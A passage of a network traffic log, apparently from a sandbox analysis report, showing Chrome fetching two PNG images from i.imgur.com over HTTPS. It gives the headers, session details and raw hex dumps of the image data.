2025-03-10 19:51:41 UTC	587	OUT	GET /KAb5SEy.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:51:41 UTC	763	IN	HTTP/1.1 200 OK Connection: close Content-Length: 48869 Content-Type: image/png Last-Modified: Thu, 20 Feb 2025 13:35:05 GMT ETag: "8aa14660517f5460156fccc2199cf83c" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: ZMDtIIYNSizYrfDVWXb5ZuJtkSbNLszxoUAHUCL9zZz9IlMMufkJOg== cache-control: public, max-age=31536000 Accept-Ranges: bytes Age: 1388374 Date: Mon, 10 Mar 2025 19:51:41 GMT X-Served-By: cache-iad-kjyo7100129-IAD, cache-pdk-kpdk1780098-PDK X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 4333, 0 X-Timer: S1741636302.543032,VS0,VE2 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 a7 00 00 02 3e 08 02 00 00 00 0e ee 34 d8 00 00 80 00 49 44 41 54 78 9c ec bd 77 7c 14 e5 da ff bf b3 b3 7d 37 3d 10 0c 3d 94 50 42 11 54 10 8f 22 d6 a3 1e 45 e4 b1 60 45 54 1e 11 45 ba 22 52 45 a4 89 05 eb 51 44 fd 3e 3e a8 14 c1 47 39 08 7a 10 14 50 94 5e 12 6a 28 21 04 48 48 48 d9 36 ed f7 3a 5c fe 6e c7 94 d9 cd 92 9d 6c 76 3f ef 3f 7c 6d 76 67 97 7b dc d9 f9 dc f7 75 5f 9f eb 32 29 8a 62 00 00 00 00 40 0c 60 ac ef 01 00 00 00 00 40 27 a0 fa 00 00 00 40 ac 00 d5 07 00 00 00 62 05 a8 3e 00 00 00 10 2b 40 f5 01 00 00 80 58 01 aa 0f 00 00 00 c4 0a 50 7d 00 00 00 20 56 80 ea 03 00 00 00 b1 02 54 1f 00 00 00 88 15 a0 fa 00 00 00 40 ac 00 d5 07 00 00 00 62 05 a8 3e 00 00 00 10 2b 40 f5 01 00 00 80 58 Data Ascii: PNGIHDR>4IDATxw\|}7==PBT"E`ETE"REQD>>G9zP^j(!HHH6:\nlv??\|mvg{u_2)b@`@'@b>+@XP} VT@b>+@X
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: 95 de 05 00 00 20 34 f8 a9 53 a7 d6 f7 18 40 1d 50 a9 2c 2e 7b 92 64 d8 ef f7 7f f0 c1 07 6f bf fd f6 91 23 47 2e fe df a2 cf ac a9 05 1f 1d 40 35 79 68 f6 c0 f3 bc c5 62 a9 6d 96 80 d9 6c 16 45 f1 d4 a9 53 1e 8f 27 23 23 23 35 35 d5 68 34 92 2b e1 e2 4f 01 00 00 62 13 44 f8 1b 3c b4 94 67 02 4c 79 fb a4 8e 24 90 a2 28 2e 58 b0 60 ee dc b9 a7 4e 9d ba 98 7f a8 da 9d 7e b5 47 40 7d 24 2b d3 1b f2 05 46 19 00 b4 0b f0 d8 63 8f 8d 1f 3f 1e 8e 3e 00 00 b8 48 a0 fa 51 8e db ed 9e 33 67 ce 82 05 0b ce 9d 3b 47 4b f0 da c6 c9 d5 95 74 6b 82 2d fd 69 7b be ea 4b 3c cf 57 7a 3e 18 58 8e a1 cd 66 7b e0 81 07 46 8e 1c 99 95 95 55 db 0f 01 00 00 c0 40 84 3f 4a 10 04 81 a5 eb b3 75 7f 41 41 c1 dc b9 73 17 2c 58 50 52 52 62 32 99 ec 76 bb cf e7 ab ed 27 b3 d5 3c fd 49 Data Ascii: 4S@P,.{do#G.@5yhbmlES'###55h4+ObD<gLy$(.X`N~G@}$+Fc?>HQ3g;GKtk-i{K<Wz>Xf{FU@?JuAAs,XPRRb2v'<I
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: 15 15 15 4c ec 03 a6 22 32 1f 3f 1d 4c 66 01 83 c1 30 7a f4 e8 f1 e3 c7 a7 a5 a5 85 6f c0 00 00 d0 a0 81 ea 47 1c 14 ee 0e 78 d8 a2 45 8b c6 8c 19 53 5c 5c 1c c2 3f c1 8a dd 5a ad 56 9f cf c7 71 5c db b6 6d 37 6e dc 18 17 17 67 b3 d9 2a 25 de 87 1b 51 14 1f 79 e4 91 ff fd df ff 25 39 3f 7f fe 7c b5 c2 1f 8c 8f df 6c 36 0f 1c 38 70 da b4 69 e4 33 84 9d 0f 00 00 2a 81 08 7f c4 11 8c dc 2e 5c b8 70 fa f4 e9 05 05 05 54 0a b7 b6 9f 4f 85 71 52 52 52 68 b9 7c e7 9d 77 fe f3 9f ff 6c d2 a4 09 49 be 7a 27 5e dd cb 27 4c 18 8d c6 56 ad 5a 71 1c 97 9d 9d 5d 5e 5e 6e b5 5a 5d 2e 97 db ed b6 58 2c ea 7f 9d 02 fb 26 93 a9 a6 3a 04 e4 e3 3f 79 f2 a4 ba 1f 3f 6b 4a 04 00 00 00 aa df 90 20 09 14 45 f1 bd f7 de 9b 3c 79 72 7e 7e be d9 6c 0e c1 94 4f da 69 b3 d9 4a 4b 4b Data Ascii: L"2?Lf0zoGxES\\?ZVq\m7ng%Qy%9?\|l68pi3.\pTOqRRRh\|wlIz'^'LVZq]^^nZ].X,&:?y?kJ E<yr~~lOiJKK
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: ab 55 c7 53 a9 4b a8 83 0e f9 f8 3d 1e cf d1 a3 47 7d 3e 1f 2d f4 59 25 c1 9a 36 f5 69 cb 9f 22 25 54 9e 48 14 45 af d7 0b 1f 3f 00 20 36 81 73 2f 52 c8 cb cb 9b 32 65 ca 47 1f 7d 44 5e 3b e1 02 06 83 21 2e 2e 4e 14 45 ed 7d 7d 52 7d 52 3e 2a 64 6b 36 9b 37 6e dc d8 b5 6b 57 1d cf 40 0f 3c 1e cf 8d 37 de b8 7d fb 76 b7 db cd f3 3c c9 79 40 1f bf c3 e1 50 14 85 fe 1f da 6c 36 56 d9 10 3e 7e 00 40 ac d1 90 12 bb 1a 28 1a cb 50 b6 7c cf ce ce 1e 39 72 e4 a2 45 8b e8 4f b7 db cd 5e 2a 2b 2b 23 b9 aa 94 9f cf 48 48 48 20 f7 5a 7c 7c 3c 6d ed f7 ee dd fb b7 df 7e 8b 3e c9 a7 3a 45 1b 36 6c e8 df bf 3f ed 59 24 24 24 50 be 82 c5 62 a9 94 a5 68 34 1a d9 8e 86 db ed 66 d3 26 af d7 cb be 91 05 0b 16 8c 1e 3d fa d0 a1 43 f4 67 08 e5 8d 01 00 a0 61 81 08 7f d8 d1 b0 Data Ascii: USK=G}>-Y%6i"%THE? 6s/R2eG}D^;!..NE}}R}R>dk67nkW@<7}v<y@Pl6V>~@(P\|9rEO^++#HHH Z\|\|<m~>:E6l?Y$$$Pbh4f&=Cga
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: de 7d fb f6 29 8a 02 1f 3f 00 a0 a1 03 bf 7e 18 f9 f5 d7 5f 6f bf fd f6 b3 67 cf 5a 2c 16 5a af d3 da 5d 92 24 9b cd a6 b1 bb cf 1c e7 f4 20 21 21 a1 57 af 5e 2b 57 ae b4 d9 6c fa 9e 41 83 27 64 1f bf 24 49 34 45 a3 5a fd 34 f7 1a 37 6e dc d8 b1 63 d5 7b fc 55 d3 36 01 00 20 92 81 25 a9 8e 61 8b f8 8d 1b 37 0e 1b 36 ec ec d9 b3 a4 3d 34 bb 12 45 91 84 87 49 3e 2b a7 4f e9 7b 1c c7 31 3b 7e 42 42 02 3d b8 f3 ce 3b 21 f9 a1 51 93 8f 9f 59 f6 09 da 55 61 fa 5d 5e 5e ce ea 28 78 3c 1e f6 9d be f6 da 6b 23 47 8e 3c 72 e4 08 fd 29 08 02 24 1f 00 d0 b0 40 84 bf 2e 51 14 85 dc f6 bb 76 ed 9a 31 63 c6 fa f5 eb 2d 16 8b 76 8d 17 16 6b 61 f6 3c 2a ba 27 cb b2 c7 e3 31 9b cd 4f 3e f9 e4 c8 91 23 11 58 0e 19 f2 f1 cb b2 bc 77 ef 5e b7 db 6d b7 db 5d 2e 97 db ed 66 33 Data Ascii: })?~_ogZ,Z]$ !!W^+WlA'd$I4EZ47nc{U6 %a76=4EI>+O{1;~BB=;!QYUa]^^(x<k#G<r)$@.Qv1c-vka<*'1O>#Xw^m].f3
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: 7e f8 e1 a1 87 1e ca cb cb a3 4b ba ac ac 4c 96 65 9e e7 99 c3 48 92 24 9f cf 47 9e 94 a2 a2 a2 23 47 8e dc 73 cf 3d f5 3d 70 10 5e a0 fa a1 40 92 ff eb af bf 4e 99 32 e5 f0 e1 c3 d4 2f a7 b6 6e 08 12 92 c7 1e 7b 6c c6 8c 19 b4 59 00 c9 d7 19 b5 8f bf 7b f7 ee 65 65 65 db b7 6f af ad 8f df 64 32 09 82 a0 f6 f1 53 3f 7e f8 f8 41 fd b2 7c f9 f2 91 23 47 16 14 14 50 6b 69 ba e1 a8 a7 b0 74 db 61 7d a4 14 45 39 78 f0 e0 ed b7 df de a4 49 93 7a 1d 38 08 2f 50 fd 5a 43 e1 fd a2 a2 a2 59 b3 66 ad 5e bd 3a 98 ce ad d5 62 b1 58 ee bd f7 de 09 13 26 20 1a 5c bf d0 8e 7e 72 72 72 68 3e 7e 93 c9 44 0d 96 d4 3e fe 9c 9c 1c ea c7 0f 1f 3f d0 1f bf df bf 6c d9 b2 b9 73 e7 ee dd bb 97 d5 0e b1 58 2c 0e 87 83 1e 3b 9d 4e 8a 35 92 9f 85 2e 60 45 51 44 51 6c d4 a8 51 bf 7e Data Ascii: ~KLeH$G#Gs==p^@N2/n{lY{eeeod2S?~A\|#GPkita}E9xIz8/PZCYf^:bX& \~rrrh>~D>?lsX,;N5.`EQDQlQ~
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: 6a fd e6 9b 6f d8 ce 3d 68 88 f8 fd 7e 56 a2 3c 21 21 81 1e b0 0a 3f 44 25 1f bf 06 c3 86 0d a3 8f ad a8 a8 a8 ef 33 03 0d 92 a5 4b 97 a6 a7 a7 53 05 1e 8d 2b 8d 5d a2 64 3d 65 8f 0d 06 43 62 62 22 bd da ae 5d bb e5 cb 97 d7 f7 09 01 9d 40 84 3f 00 54 63 67 e5 ca 95 9f 7f fe 39 f9 f4 6a 82 b5 cd 65 6d 2d 98 cb 6b e4 c8 91 0f 3f fc b0 d5 6a 85 71 ab e1 c2 f3 7c cb 96 2d 65 59 56 f7 e3 77 bb dd b5 ed c7 4f 1c 3b 76 4c 92 a4 bf fd ed 6f b4 4f 84 fd 1d 50 2b 96 2e 5d 3a 6d da b4 c3 87 0f 07 ac f3 a1 76 99 b2 c7 1c c7 c5 c7 c7 9f 3f 7f 5e 96 e5 ac ac ac d1 a3 47 df 7d f7 dd b8 08 63 85 fa 9e 76 44 34 1e 8f 47 51 94 bc bc bc 9b 6f be 99 fe 77 69 af f5 69 e2 4c 3d 57 d8 cc ba 53 a7 4e c7 8e 1d ab ef 53 01 75 c3 a1 43 87 fe eb bf fe 8b be 6e 5a 63 31 81 57 5f 1b Data Ascii: jo=h~V<!!?D%3KS+]d=eCbb"]@?Tcg9jem-k?jq\|-eYVwO;vLoOP+.]:mv?^G}cvD4GQowiiL=WSNSuCnZc1W_
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: be 42 20 a1 3a 36 81 2f 1f 84 15 a8 fe 5f a0 9b f5 d9 b3 67 3f f9 e4 13 ba e7 32 87 2b 9b 44 6b 7f c2 ed b7 df 7e fd f5 d7 ab df 08 a2 1e ea 9a 68 30 18 2e bd f4 d2 71 e3 c6 5d 77 dd 75 21 7c 88 d9 6c ce cb cb 5b b7 6e 5d 18 06 08 1a 12 a1 f5 cb 57 d7 d8 67 21 81 b4 b4 b4 99 33 67 3e f8 e0 83 f4 a7 28 8a 54 6d 0c 61 a4 58 06 aa ff 17 28 b8 fa d5 57 5f 9d 3c 79 92 04 5e dd 4f 5d bb 59 b5 28 8a 8d 1a 35 7a f0 c1 07 69 4a ae ee a3 0f a2 1b 8e e3 58 06 f5 35 d7 5c f3 d0 43 0f a5 a4 a4 d4 f6 43 28 ee fa d5 57 5f 51 55 47 10 83 c0 97 0f 74 00 aa ff 27 14 d2 17 45 71 e5 ca 95 ec c7 43 6d 2a 58 b1 55 ed 39 72 87 0e 1d ae bd f6 5a 0a a3 e9 38 70 50 9f b0 4b 42 10 04 7a 7c d7 5d 77 3d fc f0 c3 b5 fd 1c 59 96 39 8e db b0 61 03 25 6c 83 18 04 be 7c a0 03 50 fd 3f a1 Data Ascii: B :6/_g?2+Dk~h0.q]wu!\|l[n]Wg!3g>(TmaX(W_<y^O]Y(5ziJX5\CC(W_QUGt'EqCm*XU9rZ8pPKBz\|]w=Y9a%l\|P?
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: d0 a0 81 03 07 d2 f3 f0 e5 83 d0 80 ea 1b 28 81 bf 56 de 2a fa 8d 25 24 24 b4 6d db 56 97 01 82 86 8a cf e7 a3 1b 7d 90 f7 65 3a 8c f6 71 c3 3f 3a 10 5e c8 97 bf 7f ff fe b8 b8 38 ca c2 a3 1a ba e4 cb b7 5a ad 54 e6 ab 26 e8 56 c3 56 f9 83 06 0d 1a 3e 7c 38 7b 95 f9 f2 65 59 46 f3 5c 10 3c b8 b3 18 dc 6e 37 f5 d9 a3 1b 6e c0 58 19 a5 ee 1b 0c 86 e1 c3 87 23 b0 06 b4 d9 bb 77 2f b3 60 49 92 a4 a1 e5 14 ec 95 24 89 dc 59 8d 1b 37 d6 77 a4 a1 a0 2d 5a 31 0e f5 cb df bf 7f bf c3 e1 20 c9 af b6 5f 3e 05 17 ab 9d ea c5 c5 c5 91 ea b7 6f df fe bd f7 de 53 4b 3e 03 fd f2 41 6d c1 5a df 70 e8 d0 21 8a b6 a9 db ea 68 37 e0 a1 fb 78 46 46 06 02 6b 40 9b 9c 9c 1c 75 8a b5 46 e5 47 36 83 54 14 25 35 35 55 c7 31 d6 1a 3a 05 ab d5 4a b9 e8 f9 f9 f9 a7 4f 9f 3e 7e fc b8 Data Ascii: (V*%$$mV}e:q?:^8ZT&VV>\|8{eYF\<n7nX#w/`I$Y7w-Z1 _>oSK>AmZp!h7xFFk@uFG6T%55U1:JO>~
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: fa 6a ba ef 87 61 74 b5 a3 ea 52 9e 54 9f e7 79 a3 d1 58 ab 8e c0 91 70 3a 75 88 20 08 6b d7 ae 7d e6 99 67 76 ef de 5d c9 97 af fd 46 b5 2f 9f 24 5f 51 94 aa be 7c 48 3e 08 2b 31 ad fa 05 05 05 da 5b 71 d5 92 96 96 96 98 98 18 9e 11 81 06 cc f6 ed db 47 8d 1a f5 d3 4f 3f 71 1c 17 da ea f6 96 5b 6e c9 cc cc 0c c3 d0 ea 0c 2a bb 4b 45 87 aa 0d 59 57 4b 30 db ff 0d 08 f8 f2 41 83 26 a6 27 95 05 05 05 21 dc 8f d0 5d 17 54 65 d7 ae 5d 2f bf fc f2 f7 df 7f 4f 2d 98 43 88 21 b5 6e dd fa 9e 7b ee 21 d9 88 cc d5 5e a5 08 7f 90 92 1f 4d 84 a3 5f fe 5d 77 dd 45 cf c3 97 0f f4 21 76 af 2d 49 92 42 b8 35 1b 0c 86 66 cd 9a 85 61 38 a0 01 93 97 97 37 65 ca 94 65 cb 96 51 f0 b6 a4 a4 24 84 e2 f3 dd ba 75 23 47 a8 76 ad fe fa 85 75 ac a8 94 8b ae 31 4d 89 26 cf 1e 7c f9 Data Ascii: jatRTyXp:u k}gv]F/$_Q\|H>+1[qGO?q[n*KEYWK0A&'!]Te]/O-C!n{!^M_]wE!v-IB5fa87eeQ$u#Gvu1M&\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49741	199.232.196.193	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:51:44 UTC	386	OUT	GET /0HdPsKK.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:51:44 UTC	760	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5579 Content-Type: image/png Last-Modified: Thu, 20 Feb 2025 02:14:56 GMT ETag: "28a8812c3aaf8af83ba5c83c58750528" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: YYTlmwzZRLqXoGXppDaHC3Gtdw92u8SHfCwF9eVUy31VA6g75HGzNw== cache-control: public, max-age=31536000 Accept-Ranges: bytes Date: Mon, 10 Mar 2025 19:51:44 GMT Age: 1339361 X-Served-By: cache-iad-kcgs7200129-IAD, cache-pdk-kfty8610071-PDK X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 24, 1 X-Timer: S1741636304.425899,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2025-03-10 19:51:44 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 00 55 08 06 00 00 00 a6 46 3a 96 00 00 15 92 49 44 41 54 78 9c ec 9d 0b 94 5b 55 bd ff bf bf 73 92 4c 87 4e 0b 14 da 22 85 ce b4 50 40 d4 5a 44 84 76 48 ce 49 67 0a 88 2f a4 88 8a 02 ca fa 03 fe 51 c1 85 02 2e 04 9a b2 00 29 78 e1 e2 c5 07 57 91 87 d6 8b 08 f5 a2 82 80 b4 d9 c9 cc 14 aa 94 87 0f b4 0a a5 14 4a 6b a9 d4 76 66 3a d3 49 72 7e 77 9d 24 33 ce 24 fb 24 27 cf 33 e9 ec cf 5a b3 26 d9 cf ef 49 b2 7f fb bd b7 0f 0a c5 04 a1 ef c6 39 33 91 e4 d3 99 71 1a 33 e6 10 61 0a c0 53 19 98 4a a0 96 7f 87 e4 1d 0c fc 8e 40 bf d7 60 3d 9b 0a a4 9e 9e 7a f5 96 7f 7a a9 bd 56 90 d7 02 14 8a 5a 32 70 c3 9c d6 64 d2 ba 08 a0 0f 01 78 6f 05 49 fd 01 b0 1e 06 f0 d0 94 c8 e6 97 aa 28 d1 53 94 01 50 ec Data Ascii: PNGIHDRUF:IDATx[UsLN"P@ZDvHIg/Q.)xWJkvf:Ir~w$3$$'3Z&I93q3aSJ@`=zzVZ2pdxoI(SP
2025-03-10 19:51:44 UTC	1371	IN	Data Raw: 34 f9 e0 31 ce b4 df 3b 6a 97 27 e1 a4 a1 ff 35 22 40 ec ba e2 41 15 0a 17 ec 5e d6 7a 35 11 be 61 ff 74 bd d6 d2 28 d0 7e 07 a2 f9 bc 95 d0 66 4a 06 e8 53 7b 91 78 ec 4c 20 59 bb 9b c3 fc 9c 3c 82 96 76 6f 2c 14 46 b5 00 14 05 e9 bd be cd 80 85 fb 01 cc f6 5a 4b 23 a1 1d 7c 04 9a 3f 7b 1f 68 ff 59 f2 00 7a 13 f4 a3 3e 8d d4 4b 77 d7 4c c3 10 e9 37 03 38 bb 50 18 35 08 a8 70 a4 2f d2 7a 0e 2c 7e 4a 15 fe d2 f0 7f e0 3c ec 77 f1 a3 ce 85 3f 0b cd fb 24 68 c6 09 35 d3 41 8c a5 fc ab c5 05 45 28 03 a0 90 b2 3b d2 b6 82 41 2b 01 52 ad 44 17 50 cb 74 f8 17 5d 84 c9 5f 5e 83 a6 0f 2e 07 7c 4d c5 e3 68 7e f8 da 6f 81 36 e7 63 35 12 45 5a 22 91 ba bc 60 90 da e4 ac 68 64 fa 96 b7 5d c6 8c ff f4 5a 47 4d b0 0b a6 a6 03 a4 a7 2f 1a a2 e1 d7 9a 96 fd 6f bf d7 d2 ff Data Ascii: 41;j'5"@A^z5at(~fJS{xL Y<vo,FZK#\|?{hYz>KwL78P5p/z,~J<w?$h5AE(;A+RDPt]_^.\|Mh~o6c5EZ"`hd]ZGM/o
2025-03-10 19:51:44 UTC	1371	IN	Data Raw: fa a6 69 7e 4b 08 51 93 93 32 42 a1 d0 22 22 ac c8 3d fc 9a 08 f6 e7 54 b6 01 20 c2 25 00 bd ab 48 98 31 0d 6c c3 30 77 12 e1 16 21 c4 cd 2e b3 69 a9 e4 fb 20 42 3f 80 3c 03 60 18 e1 eb 00 1c d1 dc dc bc 33 1c 0e ff 66 4c 17 20 14 0a cd 63 a6 f5 44 da 2d 00 1d 50 3c 13 5a a2 69 78 c4 34 cd 7b ca 15 5a 6d 4c d3 bc 9d 48 8b 3b 15 fe b1 d0 c1 00 dd 69 9a e1 67 82 c1 60 0d 2f 6c af 17 e9 e7 f9 8c a6 f1 6a c3 30 9f ec e8 e8 70 bc 12 6a 22 a0 69 da 97 e5 3e 74 b0 69 9a e7 d7 53 0b 11 1d 08 d0 37 0d 23 1c eb ec ec dc bf 9e 79 0f 63 18 c6 12 66 7a 06 e0 29 cc 34 c3 6e dd 8f 18 80 70 38 7c 3c 91 b6 9e 08 c7 96 9e 34 7d ce 30 c2 45 b7 3e 31 53 4d ef 21 30 4d f3 71 80 be 52 46 d4 13 75 5d 7f 6e f1 e2 c5 ad c5 02 32 b3 f4 19 9c dc 8b f9 d5 0a db 38 a7 52 a9 67 3b 3a Data Ascii: i~KQ2B""=T %H1l0w!.i B?<`3fL cD-P<Zix4{ZmLH;ig`/lj0pj"i>tiS7#ycfz)4np8\|<4}0E>1SM!0MqRFu]n28Rg;:
2025-03-10 19:51:44 UTC	1371	IN	Data Raw: e9 af 37 3e 22 6c 01 c6 4e 01 12 e1 7d c1 60 70 7a 57 57 97 b4 70 95 0b 33 51 0d 96 02 49 8f 5e 65 e6 25 00 d6 15 8a 18 0c 06 df 41 44 ef c9 75 27 42 a1 2f c7 69 d9 aa a3 c1 91 75 b3 b2 1a 77 15 d2 e7 44 21 63 e3 34 b7 cd 4c af 95 93 97 3b 3d e3 63 11 10 91 f6 c5 5c 37 66 fc c1 b2 ac 79 a6 69 ce cb 3a 49 47 fc 75 5d bf 14 40 91 be 75 35 e0 fb 84 10 05 c7 d7 90 5d 08 a4 eb d2 ad 3a 1b 8a 4f b9 f2 a0 5b 35 3e 66 ea 22 c2 82 5c 0f 5d d7 bf 0a c0 51 a8 69 9a 2d cc f8 1b 51 7e 6b 61 60 60 cf fe eb d6 ad ab d7 65 68 4f c9 9d e9 0b ed ed ed 77 f4 f4 f4 f4 3a 45 d4 75 5d ba 70 89 d9 f9 98 6c 22 da 29 5f ce a4 1d 59 40 e3 09 32 47 cb b2 a4 f7 b5 55 06 fd 87 dc dd 72 f8 9c 8a e1 66 1d 00 ff a3 bc b4 ab 47 38 1c 5e ca 8c 59 b9 ee 44 98 0f 50 b4 78 0a 74 7e 47 47 c7 Data Ascii: 7>"lN}`pzWWp3QI^e%ADu'B/iuwD!c4L;=c\7fyi:IGu]@u5]:O[5>f"\]Qi-Q~ka``ehOw:Eu]pl")_Y@2GUrfG8^YDPxt~GG
2025-03-10 19:51:44 UTC	95	IN	Data Raw: 4b b7 97 77 74 74 cc 4c a5 52 3f c9 f7 e1 bc 01 38 19 42 88 87 4c d3 8c e4 0f 6c 51 c1 c1 59 66 7c 57 72 26 a0 54 63 2c 16 5d 66 9a 66 22 b7 ac 11 01 93 26 4d 3a 56 b6 79 0b 99 59 80 de 0a 3e af 51 69 14 e6 ff 02 00 00 ff ff 5a 98 a3 a9 0f 7b c2 43 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: KwttLR?8BLlQYf\|Wr&Tc,]ff"&M:VyY>QiZ{CIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49744	199.232.196.193	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:51:44 UTC	386	OUT	GET /KAb5SEy.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:51:45 UTC	763	IN	HTTP/1.1 200 OK Connection: close Content-Length: 48869 Content-Type: image/png Last-Modified: Thu, 20 Feb 2025 13:35:05 GMT ETag: "8aa14660517f5460156fccc2199cf83c" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: ZMDtIIYNSizYrfDVWXb5ZuJtkSbNLszxoUAHUCL9zZz9IlMMufkJOg== cache-control: public, max-age=31536000 Accept-Ranges: bytes Date: Mon, 10 Mar 2025 19:51:45 GMT Age: 1388377 X-Served-By: cache-iad-kjyo7100129-IAD, cache-pdk-kpdk1780040-PDK X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 4333, 1 X-Timer: S1741636305.184681,VS0,VE2 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2025-03-10 19:51:45 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 a7 00 00 02 3e 08 02 00 00 00 0e ee 34 d8 00 00 80 00 49 44 41 54 78 9c ec bd 77 7c 14 e5 da ff bf b3 b3 7d 37 3d 10 0c 3d 94 50 42 11 54 10 8f 22 d6 a3 1e 45 e4 b1 60 45 54 1e 11 45 ba 22 52 45 a4 89 05 eb 51 44 fd 3e 3e a8 14 c1 47 39 08 7a 10 14 50 94 5e 12 6a 28 21 04 48 48 48 d9 36 ed f7 3a 5c fe 6e c7 94 d9 cd 92 9d 6c 76 3f ef 3f 7c 6d 76 67 97 7b dc d9 f9 dc f7 75 5f 9f eb 32 29 8a 62 00 00 00 00 40 0c 60 ac ef 01 00 00 00 00 40 27 a0 fa 00 00 00 40 ac 00 d5 07 00 00 00 62 05 a8 3e 00 00 00 10 2b 40 f5 01 00 00 80 58 01 aa 0f 00 00 00 c4 0a 50 7d 00 00 00 20 56 80 ea 03 00 00 00 b1 02 54 1f 00 00 00 88 15 a0 fa 00 00 00 40 ac 00 d5 07 00 00 00 62 05 a8 3e 00 00 00 10 2b 40 f5 01 00 00 80 58 Data Ascii: PNGIHDR>4IDATxw\|}7==PBT"E`ETE"REQD>>G9zP^j(!HHH6:\nlv??\|mvg{u_2)b@`@'@b>+@XP} VT@b>+@X
2025-03-10 19:51:46 UTC	1371	IN	Data Raw: 95 de 05 00 00 20 34 f8 a9 53 a7 d6 f7 18 40 1d 50 a9 2c 2e 7b 92 64 d8 ef f7 7f f0 c1 07 6f bf fd f6 91 23 47 2e fe df a2 cf ac a9 05 1f 1d 40 35 79 68 f6 c0 f3 bc c5 62 a9 6d 96 80 d9 6c 16 45 f1 d4 a9 53 1e 8f 27 23 23 23 35 35 d5 68 34 92 2b e1 e2 4f 01 00 00 62 13 44 f8 1b 3c b4 94 67 02 4c 79 fb a4 8e 24 90 a2 28 2e 58 b0 60 ee dc b9 a7 4e 9d ba 98 7f a8 da 9d 7e b5 47 40 7d 24 2b d3 1b f2 05 46 19 00 b4 0b f0 d8 63 8f 8d 1f 3f 1e 8e 3e 00 00 b8 48 a0 fa 51 8e db ed 9e 33 67 ce 82 05 0b ce 9d 3b 47 4b f0 da c6 c9 d5 95 74 6b 82 2d fd 69 7b be ea 4b 3c cf 57 7a 3e 18 58 8e a1 cd 66 7b e0 81 07 46 8e 1c 99 95 95 55 db 0f 01 00 00 c0 40 84 3f 4a 10 04 81 a5 eb b3 75 7f 41 41 c1 dc b9 73 17 2c 58 50 52 52 62 32 99 ec 76 bb cf e7 ab ed 27 b3 d5 3c fd 49 Data Ascii: 4S@P,.{do#G.@5yhbmlES'###55h4+ObD<gLy$(.X`N~G@}$+Fc?>HQ3g;GKtk-i{K<Wz>Xf{FU@?JuAAs,XPRRb2v'<I
